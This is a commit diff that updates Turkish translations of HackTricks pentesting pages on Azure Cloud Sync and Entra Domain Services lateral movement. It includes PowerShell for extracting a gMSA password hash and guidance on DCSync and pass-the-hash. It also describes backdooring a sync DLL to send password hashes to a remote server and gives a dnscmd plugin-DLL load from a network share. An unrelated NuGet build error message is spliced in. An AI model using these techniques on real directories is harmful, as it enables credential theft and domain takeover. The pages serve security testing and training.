Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

This commit is contained in:
Translator
2026-03-03 18:18:00 +00:00
parent d4c58c7b2c
commit adc4c486e4
2 changed files with 47 additions and 52 deletions

View File

@@ -2,55 +2,57 @@
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
**Cloud Sync**, Azure'ın **kullanıcıları AD'den Entra ID'ye senkronize etme** için yeni bir yoludur.
**Cloud Sync** temel olarak Azure'ın **AD'den Entra ID'ye kullanıcıları senkronize etme** için yeni yoludur.
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync, kullanıcıların, grupların ve kişilerin Microsoft Entra ID'ye senkronizasyonu için hibrit kimlik hedeflerinizi karşılamak ve başarmak üzere tasarlanmış yeni bir Microsoft teklifidir. Bunu, Microsoft Entra Connect uygulaması yerine Microsoft Entra bulut sağlama aracını kullanarak gerçekleştirir. Ancak, Microsoft Entra Connect Sync ile birlikte de kullanılabilir.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync, kullanıcıların, grupların ve kişi listelerinin Microsoft Entra ID'ye senkronizasyonu için hibrit kimlik hedeflerinizi karşılamak üzere tasarlanmış Microsoft'tan yeni bir üründür. Bunu Microsoft Entra Connect uygulaması yerine Microsoft Entra cloud provisioning agent kullanarak gerçekleştirir. Ancak, Microsoft Entra Connect Sync ile birlikte de kullanılabilir.
### Oluşturulan Prensipler
### Oluşturulan principal'lar
Bunun çalışabilmesi için hem Entra ID'de hem de On-Premise dizininde bazı prensipler oluşturulur:
Bunun çalışabilmesi için Entra ID ve on-premise dizinde bazı principal'lar oluşturulur:
- Entra ID'de `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) adlı kullanıcı, **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) rolü ile oluşturulur.
- In Entra ID the user `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) is created with the role **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
> [!WARNING]
> Bu rol, birçok ayrıcalıklı izne sahipti ve [**küresel yöneticiliğe kadar ayrıcalıkları artırmak için kullanılabiliyordu**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Ancak, Microsoft bu rolün tüm ayrıcalıklarını kaldırmaya ve sadece **`microsoft.directory/onPremisesSynchronization/standard/read`** adlı yeni bir rol atamaya karar verdi; bu rol, bir kullanıcının şifresini veya niteliklerini değiştirmek ya da bir SP'ye yeni bir kimlik bilgisi eklemek gibi herhangi bir ayrıcalıklı eylem gerçekleştirmeye izin vermez.
> This role used to have a lot of privileged permissions and it could be used to [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). However, Microsoft decided to remove all the privileges of this role and assign it just a new one **`microsoft.directory/onPremisesSynchronization/standard/read`** which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP).
- Entra ID'de ayrıca **`AAD DC Administrators`** adlı grup, üye veya sahip olmadan oluşturulur. Bu grup, [`Microsoft Entra Domain Services`](./az-domain-services.md) kullanılıyorsa faydalıdır.
- In Entra ID also the group **`AAD DC Administrators`** is created without members or owners. This group is useful if [`Microsoft Entra Domain Services`](./az-domain-services.md) is used.
- AD'de, ya **`provAgentgMSA`** adlı Hizmet Hesabı, **`pGMSA_<id>$@domain.com`** gibi bir SamAcountName ile oluşturulur (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ya da [**bu izinlere ihtiyaç duyan**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) özel bir hesap oluşturulur. Genellikle varsayılan olanı oluşturulur.
- In the AD, either the Service Account **`provAgentgMSA`** is created with a SamAcountName like **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), or a custom one with [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Usually the default one is created.
> [!WARNING]
> Diğer izinlerin yanı sıra Hizmet Hesabı **`provAgentgMSA`** DCSync izinlerine sahiptir ve **bunu ele geçiren herkesin tüm dizini ele geçirmesine izin verir**. [DCSync hakkında daha fazla bilgi için bunu kontrol edin](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> [!NOTE]
> Varsayılan olarak, **`adminCount`** niteliği 1 olan bilinen ayrıcalıklı grupların kullanıcıları, güvenlik nedenleriyle Entra ID ile senkronize edilmez. Ancak, bu niteliğe sahip olmayan veya doğrudan yüksek ayrıcalıklar atanan diğer kullanıcılar **senkronize edilebilir**.
> By default users of known privileged groups like Domain Admins with the attribute **`adminCount` to 1 are not synchronized** with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **can be synchronized**.
## Şifre Senkronizasyonu
## Parola Senkronizasyonu
Bu bölüm, aşağıdaki bölümle çok benzer:
The section is very similar to the one from:
{{#ref}}
az-connect-sync.md
{{#endref}}
- **Şifre hash senkronizasyonu** etkinleştirilebilir, böylece kullanıcılar **AD'deki şifrelerini kullanarak Entra ID'ye giriş yapabilirler**. Ayrıca, AD'de bir şifre değiştirildiğinde, bu Entra ID'de güncellenecektir.
- **Şifre yazma geri** de etkinleştirilebilir, bu da kullanıcıların Entra ID'de şifrelerini değiştirmelerine ve bunun otomatik olarak on-premise alanındaki şifrelerini senkronize etmelerine olanak tanır. Ancak, [mevcut belgelere](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) göre, bunun için Connect Agent kullanmak gereklidir, bu nedenle daha fazla bilgi için [Az Connect Sync bölümüne](./az-connect-sync.md) göz atın.
- **Grupların yazma geri**: Bu özellik, Entra ID'deki grup üyeliklerinin on-premise AD'ye geri senkronize edilmesini sağlar. Bu, bir kullanıcı Entra ID'deki bir gruba eklendiğinde, aynı zamanda AD'deki karşılık gelen gruba da ekleneceği anlamına gelir.
- **Password hash synchronization** etkinleştirilebilir; böylece kullanıcılar AD'deki parolalarıyla **Entra ID'ye giriş yapabilir**. Ayrıca AD'de bir parola değiştirildiğinde, Entra ID'de de güncellenir.
- **Password writeback** ayrıca etkinleştirilebilir; bu, kullanıcıların Entra ID'de parolalarını değiştirmelerine ve bunun on-premise domain'de otomatik olarak senkronize edilmesine izin verir. Ancak [güncel dokümanlara](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) göre bunun için Connect Agent kullanılması gerekir, bu yüzden daha fazla bilgi için [Az Connect Sync bölümü](./az-connect-sync.md)'ne bakın.
- **Groups writeback**: Bu özellik, Entra ID'deki grup üyeliklerinin on-premises AD'ye geri senkronize edilmesine izin verir. Yani bir kullanıcı Entra ID'de bir gruba eklendiğinde, AD'deki karşılık gelen gruba da eklenir.
## Pivotlama
## Pivoting
### AD --> Entra ID
- AD kullanıcıları AD'den Entra ID'ye senkronize ediliyorsa, AD'den Entra ID'ye pivotlama basittir; sadece **bir kullanıcının şifresini ele geçirin veya bir kullanıcının şifresini değiştirin ya da yeni bir kullanıcı oluşturun ve Entra ID dizinine senkronize edilene kadar bekleyin (genellikle sadece birkaç dakika)**.
- Eğer AD kullanıcıları AD'den Entra ID'ye senkronize ediliyorsa, AD'den Entra ID'ye pivot yapmak basittir: sadece bir kullanıcının parolasını ele geçirmek, bir kullanıcının parolasını değiştirmek veya yeni bir kullanıcı oluşturup Entra ID dizinine senkronize olmasını beklemek (genellikle sadece birkaç dakika).
Örneğin, şunları yapabilirsiniz:
- **`provAgentgMSA`** hesabını ele geçirin, bir DCSync saldırısı gerçekleştirin, bir kullanıcının şifresini kırın ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
- AD'de yeni bir kullanıcı oluşturun, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
- AD'deki bir kullanıcının şifresini değiştirin, Entra ID'ye senkronize edilene kadar bekleyin ve ardından bunu Entra ID'ye giriş yapmak için kullanın.
So you could for example
- Service Account **`provAgentgMSA`**'yi ele geçirip DCSync saldırısı gerçekleştirebilir, bir kullanıcının parolasını kırabilir ve ardından bunu Entra ID'ye giriş yapmak için kullanabilirsiniz.
- AD'de yeni bir kullanıcı oluşturup Entra ID'ye senkronize olmasını bekleyip ardından Entra ID'ye giriş için kullanabilirsiniz.
- AD'de bir kullanıcının parolasını değiştirip Entra ID'ye senkronize olmasını bekleyip ardından Entra ID'ye giriş için kullanabilirsiniz.
**`provAgentgMSA`** kimlik bilgilerini ele geçirmek için:
To compromise the **`provAgentgMSA`** credentials:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
@@ -72,22 +74,18 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Artık gMSA'nın hash'ini kullanarak `provAgentgMSA` hesabı ile Entra ID'ye karşı Pass-the-Hash saldırısı gerçekleştirebilir ve AD'ye karşı DCSync saldırıları yapabilmek için kalıcılığı sürdürebilirsiniz.
Now you could use the hash of the gMSA to perform a Pass-the-Hash attack against Entra ID using the `provAgentgMSA` account and maintain persistence being able to perform DCSync attacks against the AD.
Active Directory'yi nasıl tehlikeye atacağınız hakkında daha fazla bilgi için kontrol edin:
For more information about how to compromise an Active Directory check:
{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
{{#endref}}
> [!NOTE]
> Azure veya EntraID rollerini senkronize edilmiş kullanıcılara, örneğin Cloud Sync yapılandırmalarında, niteliklerine dayalı olarak verme yolu yoktur. Ancak, senkronize edilmiş kullanıcılara otomatik olarak izin vermek için bazı **AD'den Entra ID gruplarına** izinler verilebilir, böylece bu gruplardaki senkronize edilmiş kullanıcılar da bu izinleri alır veya **dinamik gruplar kullanılabilir**, bu nedenle her zaman dinamik kuralları ve bunları kötüye kullanmanın potansiyel yollarını kontrol edin:
> Cloud Sync yapılandırmalarında örneğin özniteliklerine göre senkronize edilen kullanıcılara Azure veya Entra ID rolleri atamanın bir yolu olmadığını unutmayın. Ancak, senkronize edilen kullanıcılara otomatik olarak izin vermek için bazı **Entra ID groups from AD**'ye izin verilebilir, böylece o gruplardaki senkronize kullanıcılar da bu izinleri alır veya **dynamic groups might be used**; bu yüzden her zaman dynamic rules ve bunların kötüye kullanım yollarını kontrol edin:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
Kalıcılık ile ilgili olarak [bu blog yazısı](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) **`C:\Program Files\Microsoft Azure AD Sync\Bin`** konumunda bulunan **`Microsoft.Online.Passwordsynchronisation.dll`** dosyasını arka kapılamak için [**dnSpy**](https://github.com/dnSpy/dnSpy) kullanılabileceğini önermektedir. Bu dosya, Cloud Sync ajanı tarafından şifre senkronizasyonu gerçekleştirmek için kullanılır ve kullanıcıların şifre hash'lerini uzaktaki bir sunucuya dışa aktarmasını sağlar. Hash'ler **`PasswordHashGenerator`** sınıfı içinde üretilir ve blog yazısı, sınıfın şu şekilde görünmesi için bazı kodlar eklemeyi önermektedir (şifre hash'lerini dışa aktarmak için `use System.Net` ve `WebClient` kullanımına dikkat edin):
Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
```csharp
using System;
using System.Net;
@@ -121,20 +119,17 @@ RawHash = passwordHashData.RawHash
}
}
```
NuGet Paket geri yükleme, AzTokenFinder projesi için başarısız oldu: 'System.Security.Cryptography.X509Certificates' paketinin '4.3.2' sürümü bulunamadı.
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: 'System.Security.Cryptography.X509Certificates.4.3.2' paketi 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' kaynağında bulunamadı.
Lütfen ayrıntılı uyarılar ve hatalar için Hata Listesi penceresine bakın.
### Entra ID --> AD
- Eğer **Şifre Yazma** etkinleştirildiyse, Entra ID'deki bazı kullanıcıların şifrelerini değiştirebilir ve AD ağına erişiminiz varsa, bunları kullanarak bağlanabilirsiniz. Daha fazla bilgi için [Az Connect Sync bölümünü](./az-connect-sync.md) kontrol edin, çünkü şifre yazma bu ajan kullanılarak yapılandırılmıştır.
- Eğer **Password Writeback** etkinse, Entra ID'den bazı kullanıcıların şifresini değiştirebilir ve AD ağına erişiminiz varsa bu kullanıcılarla bağlanabilirsiniz. Daha fazla bilgi için [Az Connect Sync section](./az-connect-sync.md) bölümüne bakın; password writeback bu agent kullanılarak yapılandırılır.
- Bu noktada Cloud Sync ayrıca **"Microsoft Entra ID'den AD'ye"** izin veriyor, ancak çok fazla zaman geçtikten sonra EntraID kullanıcılarını AD'ye senkronize edemediğini ve yalnızca şifre hash'i ile senkronize edilen ve senkronize ettiğimiz alanın aynı alan ormanına ait olan bir alandan gelen EntraID kullanıcılarını senkronize edebildiğini buldum, [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) adresinde okuyabilirsiniz:
- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, fakat yaptığım incelemeler sonucunda EntraID kullanıcılarını AD'ye senkronize EDEMEMEKTEDİR ve yalnızca parola hash'i ile senkronize edilmiş ve senkronize ettiğimiz domain ile aynı domain forest'a ait bir domainden gelen EntraID kullanıcılarını senkronize edebildiğini gördüm; ayrıntılar için bkz. [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
> - Bu gruplar yalnızca yerel senkronize edilmiş kullanıcıları ve/veya ek bulut oluşturulmuş güvenlik gruplarını içerebilir.
> - Senkronize edilen ve bu bulut oluşturulmuş güvenlik grubunun üyeleri olan yerel kullanıcı hesapları, aynı alan veya alanlar arası olabilir, ancak hepsi aynı ormandan olmalıdır.
> - Bu gruplar yalnızca on-premises olarak senkronize edilmiş kullanıcıları ve/veya ek olarak bulutta oluşturulmuş güvenlik gruplarını içerebilir.
> - Senkronize edilen ve bu bulutta oluşturulmuş güvenlik grubunun üyeleri olan on-premises kullanıcı hesapları aynı domain'den veya farklı domain'lerden olabilir, ancak hepsi aynı forest'tan olmalıdır.
Dolayısıyla bu servisin attack surface (ve yararlılığı) büyük ölçüde azalır; çünkü bir saldırganın diğer domain'deki bir kullanıcıyı ele geçirmek için, kullanıcıların senkronize edildiği ilk AD'yi ele geçirmesi gerekir (ve görünüşe göre her iki domain de aynı forest'ta olmalıdır).
Bu nedenle, bu hizmetin saldırı yüzeyi (ve faydası) büyük ölçüde azalır, çünkü bir saldırganın diğer alandaki bir kullanıcıyı tehlikeye atmak için senkronize edilen kullanıcıların geldiği başlangıç AD'sini tehlikeye atması gerekir (ve her ikisi de görünüşe göre aynı ormanda olmalıdır).
### Enumeration
```bash

View File

@@ -2,27 +2,27 @@
{{#include ../../../banners/hacktricks-training.md}}
## Domain Hizmetleri
## Domain Services
Microsoft Entra Domain Services, Azure'da Domain Controller'ları yönetme gereği duymadan bir Active Directory dağıtmanıza olanak tanır (aslında onlara erişiminiz bile yoktur).
Microsoft Entra Domain Services, Domain Controllers'ı yönetmeye gerek kalmadan Azure'da Active Directory dağıtmanıza olanak tanır (aslında onlara erişiminiz bile yoktur).
Ana amacı, modern kimlik doğrulama yöntemlerini kullanamayan veya dizin aramalarının her zaman on-premises bir AD DS ortamına geri dönmesini istemediğiniz legacy uygulamaları bulutta çalıştırabilmenizi sağlamaktır.
Ana amacı, modern kimlik doğrulama yöntemlerini kullanamayan veya dizin sorgularının her zaman on-premises AD DS ortamına geri dönmesini istemediğiniz legacy uygulamaları bulutta çalıştırmanıza izin vermektir.
Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed.
> [!WARNING]
> Yeni bir active directory domain oluşturuyor olsanız bile onu tamamen yönetemeyeceğinizi unutmayın (bazı yanlış yapılandırmalar sömürülmedikçe); bu da varsayılan olarak örneğin AD içinde doğrudan kullanıcı oluşturamayacağınız anlamına gelir. Kullanıcıları **Entra ID'den senkronize ederek** oluşturursunuz. Tüm kullanıcıları (diğer on-premise AD'lerden senkronize edilenler dahil), sadece cloud kullanıcılarını (Entra ID'de oluşturulan kullanıcılar) veya hatta **daha fazla filtreleyerek** senkronize edecek şekilde belirleyebilirsiniz.
> Yeni bir active directory domain'i oluştursanız bile onu tamamen yönetemeyeceğinizi unutmayın (bazı yanlış yapılandırmalar istismar edilmedikçe); bu da varsayılan olarak örneğin AD içinde doğrudan kullanıcı oluşturamayacağınız anlamına gelir. Onları **Entra ID'den kullanıcı senkronize ederek** oluşturursunuz. Tüm kullanıcıları (diğer on-premise AD'lerden senkronize edilenler dahil), yalnızca cloud kullanıcıları (Entra ID'de oluşturulan kullanıcılar) veya daha fazla **filtreleyerek** senkronize edecek şekilde belirtebilirsiniz.
> [!NOTE]
> Genel olarak, yeni domain konfigürasyonundaki esneklik eksikliği ve AD'lerin genelde zaten on-premise olmasından dolayı, bu Entra ID ile AD arasındaki ana entegrasyon değildir; yine de nasıl ele geçirilebileceğini bilmek ilginçtir.
> Genel olarak, yeni domain'in yapılandırmasındaki esneklik eksikliği ve AD'lerin genellikle zaten on-premise olması nedeniyle, bu Entra ID ile AD arasındaki ana entegrasyon değildir; ancak yine de nasıl ele geçirileceğini bilmek ilginçtir.
### Pivoting
Oluşturulan **`AAD DC Administrators`** grubunun üyelerine, yerel administrators grubuna eklendikleri için yönetilen domaine katılmış VM'lerde (ancak domain denetleyicilerinde değil) yerel yönetici izinleri verilir. Bu grubun üyeleri ayrıca **Remote Desktop kullanarak domaine katılmış VM'lere uzaktan bağlanabilirler** ve ayrıca şu grupların da üyeleridir:
Oluşturulan **`AAD DC Administrators`** grubunun üyelerine, yönetilen domaine domain-joined olan VM'lerde local admin izinleri verilir (ancak domain controllers üzerinde değil), çünkü local administrators grubuna eklenirler. Bu grubun üyeleri ayrıca **domain-joined VM'lere uzaktan bağlanmak için Remote Desktop** kullanabilirler ve şu grupların üyeleridirler:
- **`Denied RODC Password Replication Group`**: Bu grup, parolalarının RODC'lerde (Read-Only Domain Controllers) önbelleğe alınamayan kullanıcıları ve grupları belirtir.
- **`Group Policy Creators Owners`**: Bu grup, üyelerine domainde Group Policy oluşturmaya izin verir. Ancak üyeleri kullanıcı veya gruplara group policy uygulayamıyor ya da mevcut GPO'ları düzenleyemiyor, bu yüzden bu ortamda çok ilginç değil.
- **`DnsAdmins`**: Bu grup DNS ayarlarını yönetmeye izin verir ve geçmişte [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins) için suistimal edilmişti, ancak bu ortamdaki saldırı test edildikten sonra zafiyetin yamalandığı görüldü:
- **`Denied RODC Password Replication Group`**: Bu grup, şifreleri RODC'lerde (Read-Only Domain Controllers) cachelenemeyecek kullanıcıları ve grupları belirtir.
- **`Group Policy Creators Owners`**: Bu grup, üyelerinin domain içinde Group Policies oluşturmasına izin verir. Ancak üyeleri kullanıcı veya gruplara group policy uygulayamaz veya mevcut GPO'ları düzenleyemez, bu yüzden bu ortamda çok ilginç değildir.
- **`DnsAdmins`**: This group allows to manage the DNS settings and was abused in the past to [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), however after testing the attack in this environment it was checked that the vulnerability is patched:
```text
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
@@ -30,14 +30,14 @@ DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
Entra ID'den Domain Services ile oluşturulmuş bir AD'ye Pivoting yapmak basittir: bir kullanıcıyı **`AAD DC Administrators`** grubuna ekleyin, domaine ait herhangi/bütün makinelere RDP ile erişin; böylece veri çalabilir ve ayrıca **compromise the domain.**
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
Ancak domain'den Entra ID'ye pivoting yapmak o kadar kolay değildir çünkü domainden Entra ID'ye hiçbir şey senkronize edilmemektedir. Bununla birlikte, domain'e katılmış tüm VMs'in metadata'sını her zaman kontrol edin; atanan managed identities ilginç izinlere sahip olabilir. Ayrıca **dump all the users passwords from the domain** ve bunları crack etmeyi deneyip ardından Entra ID / Azure'a login olmaya çalışın.
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
> [!NOTE]
> Geçmişte bu managed AD'de DCs'i compromise etmeye izin veren başka zafiyetler bulundu, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DCs'i compromise eden bir saldırgan, Azure admins fark etmeden veya kaldırmalarına imkan vermeden kolayca persistence sağlayabilirdi.
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
### Keşif
```bash